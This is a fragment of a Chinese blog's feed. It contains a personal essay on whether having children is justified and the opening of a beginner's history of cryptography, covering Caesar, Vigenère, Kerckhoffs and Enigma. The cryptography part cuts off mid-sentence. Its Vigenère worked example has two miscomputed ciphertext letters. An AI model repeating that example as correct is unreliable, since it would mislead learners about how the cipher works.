<p>这篇文章是我整理的一份「小说阅读操作指南」——从翻开书之前的心理准备，到阅读中的具体动作，再到读完之后的总结输出，把整条流程固定下来。以后每次读小说，都可以照着这份流程走一遍。</p>]]>
    </summary>
    <title>小说阅读操作指南：从翻开到读透的完整流程</title>
    <updated>2026-09-15T13:08:39.434Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="生活随笔" scheme="http://misaka10013.cn/categories/%E7%94%9F%E6%B4%BB%E9%9A%8F%E7%AC%94/"/>
    <category term="育儿" scheme="http://misaka10013.cn/tags/%E8%82%B2%E5%84%BF/"/>
    <category term="反思" scheme="http://misaka10013.cn/tags/%E5%8F%8D%E6%80%9D/"/>
    <category term="人生" scheme="http://misaka10013.cn/tags/%E4%BA%BA%E7%94%9F/"/>
    <content>
      <![CDATA[<p>育儿这个议题，大概是从25年我结婚后，开始思考的。<br>一开始，我考虑的是必要性，后来开始思考育儿这个行为的合理性，目前我感觉我已经开始思考这个行为的正当性了。</p><p>必要性。习惯了解决问题的工程师思路，对于一个行为，往往首先思考的就是这个需求是否有必要。本文不是主要讨论这个，所以今天我们跳过。<br>合理性，是指这个行为是否合理，具备可行空间。也不是我们今天讨论的重点。<br>正当性，则是指，我们有这个权利做出这样的行为吗？</p><p>比如，对于育儿这个事情的参与人而言，公平正当吗？<br>对女性的伤害是一个方面，对子女自身是否想降临这个世界的意愿，是否也是一个应该严格思考的方向？</p><p>所以我开始反思，自己作为一个儿女，对于降临到这个世界，如果有选择，愿意吗？</p><p>我反思我的人生，我觉得是有偶尔那非常专注，很开心快乐的时光的，比如初高中时全身心的打篮球的时候，全身心的欣赏小说和动漫的时候。比如大学时和社团同好们为同一个目标去创造创意和推进活动。比如我和我老婆休长假，无忧无虑的旅游的时候，我照顾我老婆的时候。<br>快乐是有的，如果回忆着这些快乐的画面，我觉得来人世间一圈是值得的。</p><p>但我又想，我看到这些快乐的时光太少了。我的整个人生，如果让我自己总结，那大概就是，压抑的时光占了大多数时候。压抑，是指什么状态呢。大概就是，不轻松。比如小时候，会被要求着要认真读书，被教育着要铁血男儿，自强独立有责任感。比如高中得想办法认真学习搞好成绩，得应对考试考证。比如毕业了要独立自主在社会生存，应对社交关系，应对工作压力等等。<br>很多时候，这种不轻松这不都是外部带来的，因为我从小到大，比较老实本分，我的家长和遇到的老师都很开明，对我鼓励居多，要求很少。我老婆也是个独立自主，很律己的人。我身边来自外部的压力应该比很多糟糕人生的人，都小得多。<br>但我依然觉得不轻松，我感觉，自身对自己的自律、自觉，本身也是一种压抑。<br>我大多数的人生就是在自己对自己的压抑中，度过了。<br>人生是用来放纵的吗？我自己没有答案。我其实已经比很多人幸运了。家人没有大病，我没有背负过房贷，家庭也过得去，也没遇到过什么经常超过8小时上班或者大小周单休的公司，也没有遇到奇葩的离谱领导和同事。<br>但即使这样，为啥我依然会觉得人生不轻松呢。<br>多少有些凡尔赛和身在福中不知福吧。</p><p>这样，我自己觉得不轻松的人生，大概会是我不愿意来到人生一转的一面。</p><p>当然，如果你问我，这样大多数时候不轻松和偶尔非常快乐的综合人生，是否愿意来一遍？我肯定会说完全没问题。因为我有行动力和勇气，也有抗压能力。不轻松，我扛得住。</p><p>但是如果你问我，是否愿意让孩子也体验这”大多数时候不轻松和偶尔非常快乐的综合人生”，我反而我觉得不值得。因为我的行动力、忍耐力和勇气，也不过是这么多年被捶打出来的东西。我能说自己愿意为了少许亮光而接受大多数不轻松的人生，是因为我已经被不轻松捶打的半生了，这样被捶打我我，根本不在意被再捶打多少年。</p><p>但是我凭什么来替另一个人来做决定，让对方来接受这样的捶打并最终被迫成为一个已经习惯追着萝卜行走的驴呢？更何况，这个人是自己的孩子。</p><p>近来，和我老婆聊到了这个话题。一开始她关注的重点在于我为啥肯定“人生不轻松”，可能是觉得这是一种看起来很消极的意识，而我平时并不是一个消极的人。<br>不过我得出这个结论，更多是我从客观的心理学的角度思考来的。因为人类心总是会有新的欲求，而欲求的满足与新欲求的诞生之间总有差距，所以我感觉，大多数人、大多数时候，其实得不到心灵欲求的平静，所以人总是疲于奔命，总是“不轻松”。这也正符合那一句“人生不如意，十之八九”。</p><p>而关于“父母有什么权力决定了让孩子到这个世界上并来体会这些”。这个问题，我和我老婆以及AI都没有想出来明确的答案。我老婆总结觉得，一类父母是属于满足自我需求的父母。她们是为了养老、从孩子身上满足自己的成就感或者精神寄托等等需求。另一类父母可能只是怀孕了，既来之，则安之。缘分到了，就选择生下来。</p><p>还有一类父母，她们可能有爱心，可能体会过爱，也充满着爱，相信世界是美好的，并主动生孩子，并用自己的爱希望孩子幸福。这种父母也可能会从前两类父母中转变过来。</p><p>父母有没有权力生孩子，细想之下，竟没有一个明确的答案。那我觉得，这恰恰说明这个问题的答案，大概率是否定的。</p><p>而作为父母真正能做的，则是通过对孩子负有的责任和爱，来对“把孩子带到这个世界上来”这件事情，进行补救吧。</p>]]>
    </content>
    <id>http://misaka10013.cn/p/186114236.html</id>
    <link href="http://misaka10013.cn/p/186114236.html"/>
    <published>2026-08-07T17:45:00.000Z</published>
    <summary>
      <![CDATA[<p>育儿这个议题，大概是从25年我结婚后，开始思考的。<br>一开始，我考虑的是必要性，后来开始思考育儿这个行为的合理性，目前我感觉我已经开始思考这个行为的正当性了。</p>
<p>必要性。习惯了解决问题的工程师思路，对于一个行为，往往首先思考的就是这个需求是否有必要。本文不是主要讨论这个，所以今天我们跳过。<br>合理性，是指这个行为是否合理，具备可行空间。也不是我们今天讨论的重点。<br>正当性，则是指，我们有这个权利做出这样的行为吗？</p>
<p>比如，对于育儿这个事情的参与人而言，公平正当吗？<br>对女性的伤害是一个方面，对子女自身是否想降临这个世界的意愿，是否也是一个应该严格思考的方向？</p>]]>
    </summary>
    <title>从育儿到反思人生</title>
    <updated>2026-09-15T13:08:39.432Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="http://misaka10013.cn/categories/knowledge-base/"/>
    <category term="密码学" scheme="http://misaka10013.cn/tags/%E5%AF%86%E7%A0%81%E5%AD%A6/"/>
    <category term="加密" scheme="http://misaka10013.cn/tags/%E5%8A%A0%E5%AF%86/"/>
    <category term="解密" scheme="http://misaka10013.cn/tags/%E8%A7%A3%E5%AF%86/"/>
    <content>
      <![CDATA[<blockquote><p><strong>📌 本文定位：</strong> 这是一份面向初学者的加密解密领域知识库全景图。读完本文，你将理解密码学<strong>从古至今的完整脉络</strong>，掌握<strong>核心算法原理</strong>，并能够<strong>动手完成加密解密实操</strong>。文中所有专业术语都会在首次出现时以悬停提示<abbr title="鼠标悬停即可看到解释，试试看！">（像这样）</abbr>的方式给出解释，重要论文和资料会附上原文链接，方便你跳转扩展阅读。</p></blockquote><hr><h2 id="第一章-加密解密领域概览"><a href="#第一章-加密解密领域概览" class="headerlink" title="第一章 加密解密领域概览"></a>第一章 加密解密领域概览</h2><h3 id="1-1-一句话定义"><a href="#1-1-一句话定义" class="headerlink" title="1.1 一句话定义"></a>1.1 一句话定义</h3><p><strong><abbr title="加密(Encryption)：用密钥把可读的明文变成不可读的密文。解密(Decryption)：用密钥把密文恢复成明文。两者合称密码学(Cryptography)。">加密解密</abbr></strong> 是通过数学变换，让信息在开放信道中安全传输、在不可信环境中安全存储的科学。它解决的是数字世界的核心信任问题：<em>如何在不安全的通道上，安全地传递秘密？</em></p><h3 id="1-2-它解决的核心问题——CIA-三元组"><a href="#1-2-它解决的核心问题——CIA-三元组" class="headerlink" title="1.2 它解决的核心问题——CIA 三元组"></a>1.2 它解决的核心问题——CIA 三元组</h3><p>信息安全有三大基石，合称**<abbr title="CIA 三元组：机密性(Confidentiality)、完整性(Integrity)、真实性(Authenticity)，信息安全三大基石。与「美国中央情报局」同名纯属巧合。">CIA 三元组</abbr>**。下面的 SVG 图展示了三者的关系：</p><ul><li><strong>机密性（Confidentiality）</strong>：确保信息不被未授权的人看到。通过<strong>加密</strong>实现。</li><li><strong>完整性（Integrity）</strong>：确保信息在传输过程中没有被篡改。通过<strong>哈希函数</strong>或 **<abbr title="MAC(消息认证码)：密钥+数据一起哈希，得到带密码的校验码，验证完整性和来源。">MAC</abbr>**实现。</li><li><strong>真实性（Authenticity）</strong>：确保”对方确实是他声称的那个人”。通过**<abbr title="数字签名(Digital Signature)：用私钥生成只有持有人能产生的签名，公钥可验证。实现身份认证+完整性+不可抵赖。">数字签名</abbr>**实现。</li></ul><svg viewBox="0 0 680 220" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <defs>    <linearGradient id="cia1" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#6c5ce7"/><stop offset="100%" stop-color="#a29bfe"/></linearGradient>    <linearGradient id="cia2" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#0984e3"/><stop offset="100%" stop-color="#74b9ff"/></linearGradient>    <linearGradient id="cia3" x1="0" y1="0" x2="1" y2="1"><stop offset="0%" stop-color="#00b894"/><stop offset="100%" stop-color="#55efc4"/></linearGradient>    <filter id="shadow1"><feDropShadow dx="0" dy="2" stdDeviation="4" flood-opacity="0.15"/></filter>  </defs>  <circle cx="180" cy="110" r="85" fill="url(#cia1)" opacity="0.12" filter="url(#shadow1)"/>  <circle cx="180" cy="110" r="45" fill="url(#cia1)" filter="url(#shadow1)"/>  <text x="180" y="100" text-anchor="middle" fill="#fff" font-size="22" font-weight="700">机密性</text>  <text x="180" y="122" text-anchor="middle" fill="#fff" font-size="13">Confidentiality</text>  <text x="180" y="150" text-anchor="middle" fill="#6c5ce7" font-size="12">通过加密实现</text>  <circle cx="340" cy="70" r="85" fill="url(#cia2)" opacity="0.12" filter="url(#shadow1)"/>  <circle cx="340" cy="70" r="45" fill="url(#cia2)" filter="url(#shadow1)"/>  <text x="340" y="60" text-anchor="middle" fill="#fff" font-size="22" font-weight="700">完整性</text>  <text x="340" y="82" text-anchor="middle" fill="#fff" font-size="13">Integrity</text>  <text x="340" y="110" text-anchor="middle" fill="#0984e3" font-size="12">通过哈希 / MAC 实现</text>  <circle cx="500" cy="110" r="85" fill="url(#cia3)" opacity="0.12" filter="url(#shadow1)"/>  <circle cx="500" cy="110" r="45" fill="url(#cia3)" filter="url(#shadow1)"/>  <text x="500" y="100" text-anchor="middle" fill="#fff" font-size="22" font-weight="700">真实性</text>  <text x="500" y="122" text-anchor="middle" fill="#fff" font-size="13">Authenticity</text>  <text x="500" y="150" text-anchor="middle" fill="#00b894" font-size="12">通过数字签名实现</text>  <text x="340" y="200" text-anchor="middle" fill="#b2bec3" font-size="14">CIA 三元组 —— 信息安全三大基石</text></svg><h3 id="1-3-最典型的应用场景"><a href="#1-3-最典型的应用场景" class="headerlink" title="1.3 最典型的应用场景"></a>1.3 最典型的应用场景</h3><p>下面的表格用生活场景帮你建立直觉。请注意在”使用的技术”列中，每个缩写我们都用 <code>&lt;abbr&gt;</code> 标签做了悬停提示——鼠标指上去就能看到全称和解释<sup id="fnref:1"><a href="#fn:1" rel="footnote">[1]</a></sup>。</p><table><thead><tr><th>场景</th><th>使用的技术</th><th>你每天都在用</th></tr></thead><tbody><tr><td><strong>HTTPS 网页浏览</strong></td><td>TLS 1.3：<abbr title="椭圆曲线临时 Diffie-Hellman 密钥交换">ECDHE</abbr> + <abbr title="AES-伽罗瓦计数模式（加密的同时校验完整性）">AES-GCM</abbr> + SHA-256</td><td>访问任何带🔒的网站</td></tr><tr><td><strong>即时通讯</strong></td><td>Signal 协议：<abbr title="扩展三重 Diffie-Hellman（初始密钥协商）">X3DH</abbr> + <abbr title="双棘轮算法（每条消息独立加密密钥）">Double Ratchet</abbr> + <abbr title="AES-密文块链接模式">AES-CBC</abbr> + <abbr title="基于哈希的消息认证码">HMAC</abbr></td><td>微信、WhatsApp</td></tr><tr><td><strong>在线支付</strong></td><td>TLS + <abbr title="三维安全协议（支付时的额外身份验证）">3D Secure</abbr> + <abbr title="支付令牌化(Tokenization)：用一次性令牌替代真实卡号发给商家，卡号不泄露。Apple Pay/微信支付底层均依赖此机制。">支付令牌化</abbr></td><td>支付宝、微信支付</td></tr><tr><td><strong>设备解锁</strong></td><td>AES 全盘加密 + 安全飞地（Secure Enclave，芯片内独立安全区域）</td><td>手机锁屏密码</td></tr><tr><td><strong>代码&#x2F;软件签名</strong></td><td><abbr title="RSA数字签名算法">RSA</abbr>&#x2F;<abbr title="椭圆曲线数字签名算法">ECDSA</abbr> + <abbr title="X.509 证书链（由根CA逐级签发的信任链）">X.509 证书链</abbr></td><td>下载 App 时的验证</td></tr><tr><td><strong>区块链&#x2F;加密货币</strong></td><td><abbr title="椭圆曲线数字签名算法">ECDSA</abbr>（比特币）&#x2F; <abbr title="爱德华兹曲线数字签名算法（比ECDSA更快更简洁）">EdDSA</abbr> + SHA-256</td><td>BTC&#x2F;ETH 交易</td></tr></tbody></table><p><strong>本节缩写速查表：</strong></p><table><thead><tr><th>缩写</th><th>全称</th><th>一句话解释</th></tr></thead><tbody><tr><td>TLS</td><td>Transport Layer Security</td><td>传输层安全协议，HTTPS 的底层加密标准</td></tr><tr><td>AES</td><td>Advanced Encryption Standard</td><td>全球最常用的对称加密算法</td></tr><tr><td>GCM</td><td>Galois&#x2F;Counter Mode</td><td>AES 的一种”认证加密”模式，加密同时校验完整性</td></tr><tr><td>CBC</td><td>Cipher Block Chaining</td><td>AES 的一种传统模式，密文块链式关联</td></tr><tr><td>HMAC</td><td>Hash-based Message Authentication Code</td><td>基于哈希的消息认证码</td></tr><tr><td>ECDHE</td><td>Elliptic Curve Diffie-Hellman Ephemeral</td><td>椭圆曲线临时密钥交换，提供<abbr title="前向安全(Forward Secrecy)：长期私钥泄露不影响历史通信，因为每次用临时密钥。TLS 1.3/Signal 标配。">前向安全</abbr></td></tr><tr><td>ECDSA</td><td>Elliptic Curve Digital Signature Algorithm</td><td>椭圆曲线数字签名算法</td></tr><tr><td>EdDSA</td><td>Edwards-curve Digital Signature Algorithm</td><td>爱德华兹曲线数字签名，比 ECDSA 更快更简洁</td></tr><tr><td>X3DH</td><td>Extended Triple Diffie-Hellman</td><td>Signal 协议的初始密钥协商算法</td></tr><tr><td>RSA</td><td>Rivest-Shamir-Adleman</td><td>第一个实用的非对称加密算法，以三位发明者命名</td></tr><tr><td>SHA</td><td>Secure Hash Algorithm</td><td>安全哈希算法系列</td></tr><tr><td>X.509</td><td>—</td><td>数字证书的国际标准格式</td></tr></tbody></table><blockquote><p><strong>💡 学习密码学的长期收益：</strong> 密码学是所有安全方向的基石。它能重塑你的思维——学会用「无法篡改」「零知识」「可验证」等视角重新审视数字世界。</p></blockquote><hr><h2 id="第二章-加密解密发展历史"><a href="#第二章-加密解密发展历史" class="headerlink" title="第二章 加密解密发展历史"></a>第二章 加密解密发展历史</h2><h3 id="2-1-古典密码时代（公元前-1900-年-—-19-世纪）"><a href="#2-1-古典密码时代（公元前-1900-年-—-19-世纪）" class="headerlink" title="2.1 古典密码时代（公元前 1900 年 — 19 世纪）"></a>2.1 古典密码时代（公元前 1900 年 — 19 世纪）</h3><p>密码学的历史几乎和人类文明一样长。从古埃及墓穴中非标准象形文字，到罗马军团的凯撒密码，隐藏秘密始终是人类的基本需求。</p><p><strong>约公元前 1900 年 · 古埃及：最早的密码记录</strong></p><p>一位书吏在贵族的墓穴铭文中使用了非标准的象形文字替代，被公认为最早的密码实践。这不是加密通信，而是一种仪式性的”隐藏书写”。</p><p><strong>约公元前 600 年 · 斯巴达密码棒（Scytale）</strong></p><p>最早的**<abbr title="转置密码(Transposition Cipher)：不改变字母本身，而是打乱字母顺序。与替换密码(改变字母本身)是两大类古典密码。">转置密码</abbr>**工具。将羊皮纸条缠绕在特定直径的木棒上书写，展开后字母顺序被打乱。只有使用相同直径木棒的接收者才能恢复原文——木棒直径就是”密钥”。</p><p><img src="https://vdio-1252926453.cos.ap-chengdu.myqcloud.com/picgo/20260724213312584.png" alt="斯巴达密码棒"></p><p><strong>约公元前 50 年 · 凯撒密码（Caesar Cipher）</strong></p><p>尤利乌斯·凯撒在军事通信中将字母按固定偏移量替换。例如偏移3位：A→D, B→E, C→F……这是最经典的**<abbr title="单表替换密码(Monoalphabetic Substitution)：整段密文用同一张替换表。缺点是保留原文频率特征，易被频率分析破解。">单表替换密码</abbr>**。密钥空间仅25个（排除偏移0），属于极弱的加密。</p><p><strong>约公元 800 年 · 肯迪（Al-Kindi）：频率分析法</strong></p><p>阿拉伯数学家肯迪在《破译密码信息的手稿》中提出了<strong>频率分析</strong>方法，这是密码学从”手艺”走向”科学”的转折点。</p><details><summary><b>📖 频率分析怎么操作？（点击展开）</b></summary><p><strong>以英语为例，具体步骤：</strong></p><ol><li><strong>统计英语正常频率</strong>：在大量英语文本中，E 出现频率最高（约 12.7%），其次是 T（9.1%）、A（8.2%）、O（7.5%）、I（7.0%）、N（6.7%）……最常用的单词是 “THE”、”AND”、”THAT” 等。</li><li><strong>统计密文的字母频率</strong>：拿到一段密文后，数每个字母出现的次数，排出频率顺序。</li><li><strong>匹对频率排名</strong>：密文里出现最多的那个字母，大概率对应明文中的 E。密文里第二多的，大概率对应 T……以此类推。</li><li><strong>利用常见词辅助</strong>：如果密文里有三个字母的序列频繁重复出现，很可能就是 “THE”。英语中字母 “Q” 后面几乎总是跟 “U”，这也是破解线索。</li><li><strong>逐步还原替换表</strong>。</li></ol><blockquote><p><strong>关键洞察：</strong> 单表替换之所以能被破解，是因为它<strong>没有改变字母的频率分布</strong>——A 被替换成 D 后，密文里 D 的频率就等于原文里 A 的频率。攻击者抓住了这个统计规律。</p></blockquote></details><p><strong>1467 年 · 阿尔贝蒂（Alberti）：多表替换密码</strong></p><p>意大利文艺复兴巨匠莱昂·巴蒂斯塔·阿尔贝蒂发明了<strong>密码轮盘</strong>（一个带两组字母的机械转盘，转动到不同位置对应不同的替换表）和<strong>多表替换密码</strong><sup id="fnref:10"><a href="#fn:10" rel="footnote">[10]</a></sup>概念，被尊为”西方密码学之父”。</p><details><summary><b>📖 多表替换密码是如何对抗频率分析的？（点击展开）</b></summary><p><strong>核心思路：</strong> 加密过程中<strong>不断切换替换表</strong>，让同一个明文字母在不同的位置被加密成不同的密文字母，打乱频率分布。</p><p>举例：假设有表A（A→D, B→E, C→F…）和表B（A→X, B→Y, C→Z…），按”ABABB”的顺序循环使用——</p><ul><li>第1个字母用表A加密</li><li>第2个字母用表B加密</li><li>第3个字母用表A加密</li><li>……</li></ul><p>这样原文里的三个”A”可能分别变成 D、X、D——频率分析就失效了。</p></details><p><strong>1586 年 · 维吉尼亚密码（Vigenère Cipher）</strong></p><p>法国外交官布莱斯·德·维吉尼亚在《密码学条约》中描述了基于<strong>关键词</strong>的多表替换系统。</p><details><summary><b>📖 维吉尼亚密码怎么加密？（点击展开）</b></summary><p><strong>操作步骤：</strong></p><ol><li>选一个关键词，比如 “KEY”</li><li>把关键词反复重复，长度和明文对齐：<ul><li>明文：<code>A T T A C K A T D A W N</code></li><li>密钥：<code>K E Y K E Y K E Y K E Y</code></li></ul></li><li>每个明文字母按对应密钥字母的偏移量做凯撒替换：<ul><li>A + K（偏移10）→ K</li><li>T + E（偏移4）→ X</li><li>T + Y（偏移24）→ R</li><li>……</li><li>最终密文：<code>K X R K G I K X C K E L</code></li></ul></li></ol><p><strong>为什么曾被称作”不可破译的密码”？</strong> 因为同一个字母 A，配合不同密钥字母（K&#x2F;E&#x2F;Y），分别变成 K&#x2F;X&#x2F;K——频率分析完全失效。这个密码屹立了三个世纪，直到 19 世纪才被卡西斯基（Kasiski）和巴贝奇（Babbage）通过寻找密钥周期漏洞分别独立破解。</p></details><p><strong>1883 年 · 柯克霍夫原则（Kerckhoffs’s Principle）</strong></p><p>荷兰密码学家奥古斯特·柯克霍夫在《军事密码学》中提出密码学的核心假设：</p><blockquote><p><strong>密码系统的安全性应该完全依赖于密钥的保密，而非算法的保密。</strong></p></blockquote><details><summary><b>📖 为什么？（点击展开）</b></summary><p><strong>三条理由：</strong></p><ol><li><strong>算法藏不住。</strong> 在商业软件和互联网时代，程序代码（算法）迟早会被逆向工程分析出来——Windows 源码都能泄露，你凭什么觉得加密算法能永远保密？</li><li><strong>密钥可以随时换。</strong> 如果泄露的是算法，整个系统作废，必须重新设计。但如果泄露的是密钥，只需换一把新密钥，系统继续运转。</li><li><strong>公开的算法经得起检验。</strong> AES、RSA 都公开了二十多年，全球密码学家日夜攻击都没破——这说明它们真安全。反之，「保密」的算法没经历过公开检验，往往是掩耳盗铃——自认为安全，实际漏洞一堆。</li></ol><p><strong>反面教材：</strong> CSS（DVD 内容扰乱系统）使用了保密的加密算法，2000 年被逆向出源码后瞬间崩溃，全球 DVD 都能随意复制。</p><p>这一原则至今仍是密码系统设计的黄金法则。</p></details><h3 id="2-2-机电密码时代（20-世纪初-—-1940-年代）"><a href="#2-2-机电密码时代（20-世纪初-—-1940-年代）" class="headerlink" title="2.2 机电密码时代（20 世纪初 — 1940 年代）"></a>2.2 机电密码时代（20 世纪初 — 1940 年代）</h3><p><strong>1918 年 · Arthur Scherbius 发明 Enigma</strong></p><p>德国工程师谢尔比乌斯发明了 Enigma 转子密码机。</p><details><summary><b>📖 Enigma 怎么工作？（点击展开，读完再看下面的图）</b></summary><p>Enigma 看起来像一台打字机，内部核心组件：</p><ul><li><strong>键盘 + 灯板</strong>：按下一个键，对应密文的灯泡亮起</li><li><strong>接线板（Plugboard）</strong>：用插线交换字母对（比如 A↔G、T↔Z），这是第一层替换</li><li><strong>3-4 个转子（Rotors）</strong>：每个转子内部有固定的替换接线（A→X、B→Y…），相当于多表替换的表。每次按键后最右边的转子转动一格，像里程表进位</li><li><strong>反射器（Reflector）</strong>：电流到达反射器后被”反射”回来，再次经过三个转子走回头路</li></ul><p><strong>完整流程（按下 A 键）：</strong></p><ol><li>电流从键盘 A → 接线板 → 转子1 → 转子2 → 转子3 → 反射器 → 转子3 → 转子2 → 转子1 → 接线板 → 灯泡 G 亮起</li><li>松开按键，转子3 转动一格。下次按 A 会输出完全不同的字母！</li></ol><p>密钥空间高达 10²³（1.58 亿亿亿），德军认为它绝对安全。</p></details><p>下面的 SVG 图展示了简化后的 Enigma 加密流程。注意电流经过反射器后会<strong>原路返回</strong>再经过三个转子——这个设计正是 Enigma 最致命的弱点所在：</p><svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;display:block;margin:16px auto;">  <text x="60" y="30" font-size="15" font-weight="700" fill="#6c5ce7">凯撒密码（偏移=3）</text>  <text x="60" y="60" font-size="12" fill="#636e72">明文: </text>  <rect x="100" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="113" y="62" text-anchor="middle" font-size="12" font-family="monospace">A</text>  <rect x="130" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="143" y="62" text-anchor="middle" font-size="12" font-family="monospace">B</text>  <rect x="160" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="173" y="62" text-anchor="middle" font-size="12" font-family="monospace">C</text>  <text x="200" y="62" font-size="12" fill="#636e72">…</text>  <rect x="220" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="233" y="62" text-anchor="middle" font-size="12" font-family="monospace">X</text>  <rect x="250" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="263" y="62" text-anchor="middle" font-size="12" font-family="monospace">Y</text>  <rect x="280" y="46" width="26" height="22" rx="3" fill="#dfe6e9"/><text x="293" y="62" text-anchor="middle" font-size="12" font-family="monospace">Z</text>  <defs><marker id="arr2" markerWidth="6" markerHeight="4" refX="5" refY="2" orient="auto"><polygon points="0,0 6,2 0,4" fill="#6c5ce7"/></marker></defs>  <line x1="113" y1="72" x2="143" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="143" y1="72" x2="173" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="173" y1="72" x2="203" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="233" y1="72" x2="113" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="263" y1="72" x2="143" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="293" y1="72" x2="173" y2="92" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <text x="60" y="112" font-size="12" fill="#636e72">密文: </text>  <rect x="100" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="113" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">D</text>  <rect x="130" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="143" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">E</text>  <rect x="160" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="173" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">F</text>  <rect x="220" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="233" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">A</text>  <rect x="250" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="263" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">B</text>  <rect x="280" y="98" width="26" height="22" rx="3" fill="#6c5ce7" opacity="0.2"/><text x="293" y="114" text-anchor="middle" font-size="12" font-family="monospace" fill="#6c5ce7">C</text>  <text x="60" y="165" font-size="15" font-weight="700" fill="#6c5ce7">Enigma 加密流程（简化）</text>  <rect x="60" y="180" width="80" height="40" rx="8" fill="#dfe6e9"/><text x="100" y="205" text-anchor="middle" font-size="13">输入 A</text>  <rect x="175" y="180" width="60" height="40" rx="8" fill="#a29bfe" opacity="0.3"/><text x="205" y="200" text-anchor="middle" font-size="12" fill="#6c5ce7">接线板</text><text x="205" y="214" text-anchor="middle" font-size="10" fill="#6c5ce7">Plugboard</text>  <rect x="270" y="180" width="60" height="40" rx="8" fill="#74b9ff" opacity="0.3"/><text x="300" y="200" text-anchor="middle" font-size="12" fill="#0984e3">转子1</text><text x="300" y="214" text-anchor="middle" font-size="10" fill="#0984e3">Rotor1</text>  <rect x="365" y="180" width="60" height="40" rx="8" fill="#74b9ff" opacity="0.3"/><text x="395" y="200" text-anchor="middle" font-size="12" fill="#0984e3">转子2</text><text x="395" y="214" text-anchor="middle" font-size="10" fill="#0984e3">Rotor2</text>  <rect x="460" y="180" width="60" height="40" rx="8" fill="#74b9ff" opacity="0.3"/><text x="490" y="200" text-anchor="middle" font-size="12" fill="#0984e3">转子3</text><text x="490" y="214" text-anchor="middle" font-size="10" fill="#0984e3">Rotor3</text>  <rect x="555" y="180" width="60" height="40" rx="8" fill="#55efc4" opacity="0.3"/><text x="585" y="200" text-anchor="middle" font-size="12" fill="#00b894">反射器</text><text x="585" y="214" text-anchor="middle" font-size="10" fill="#00b894">Reflector</text>  <line x1="140" y1="200" x2="175" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="235" y1="200" x2="270" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="330" y1="200" x2="365" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="425" y1="200" x2="460" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <line x1="520" y1="200" x2="555" y2="200" stroke="#6c5ce7" stroke-width="1.5" marker-end="url(#arr2)"/>  <text x="585" y="240" text-anchor="middle" font-size="10" fill="#636e72">返回路径通过反射器沿原路返回</text>  <line x1="585" y1="222" x2="585" y2="232" stroke="#636e72" stroke-width="1" stroke-dasharray="4"/>  <rect x="555" y="255" width="60" height="40" rx="8" fill="#d63031" opacity="0.1"/><text x="585" y="275" text-anchor="middle" font-size="13" fill="#d63031">输出 G</text></svg><p><em>图：凯撒密码替换规则（上）与 Enigma 加密流程（下）</em></p><p><strong>1939-1945 年 · 布莱切利庄园与图灵的 Bombe 机</strong></p><p>英国布莱切利庄园成为密码破解中心。<strong>艾伦·图灵</strong>设计了 Bombe 机电破解机。</p><details><summary><b>📖 Enigma 的致命弱点——"字母不自加密"是什么意思？（点击展开）</b></summary><p>Enigma 设计有一个数学上的必然结果：<strong>反射器导致字母永远不会被加密成自身</strong>。输入 A，经过接线板→转子→反射器→原路返回后，<strong>输出绝不可能是 A</strong>。</p><p>这看似加强了安全性（密文和明文不同），实则泄露了关键信息：破解者知道”A 绝对不会在第 X 位置”。图灵利用这一点，配合每天都重复使用的「天气预报固定格式开头」（德军每天早上的天气预报格式是固定的——德军的一个愚蠢习惯），构造了 <strong>Known Plaintext Attack（已知明文攻击）</strong>：他在猜到的明文和对应的密文之间寻找字母回路，大幅缩小了可能的转子位置组合——从 10²³ 缩小到人力可及的范围。</p><p>据估计，破解 Enigma 使二战缩短了 2~3 年。</p></details><p><strong>1944 年 · Colossus：世界上第一台可编程电子计算机</strong></p><p>由汤米·弗劳尔斯设计，用于破解更复杂的 Lorenz 密码机。Colossus 是密码学直接催生出现代计算机的明证。</p><h3 id="2-3-现代密码时代（1949-年至今）"><a href="#2-3-现代密码时代（1949-年至今）" class="headerlink" title="2.3 现代密码时代（1949 年至今）"></a>2.3 现代密码时代（1949 年至今）</h3><p><strong>1949 年 · Shannon：信息论奠基</strong></p><p>克劳德·香农发表了<a href="https://ee.stanford.edu/~gray/sp.pdf">《保密系统的通信理论》</a>（Communication Theory of Secrecy Systems），用信息论为密码学建立了严格的数学基础。他证明了一个重要结论：<strong>一次性密码本</strong><sup id="fnref:11"><a 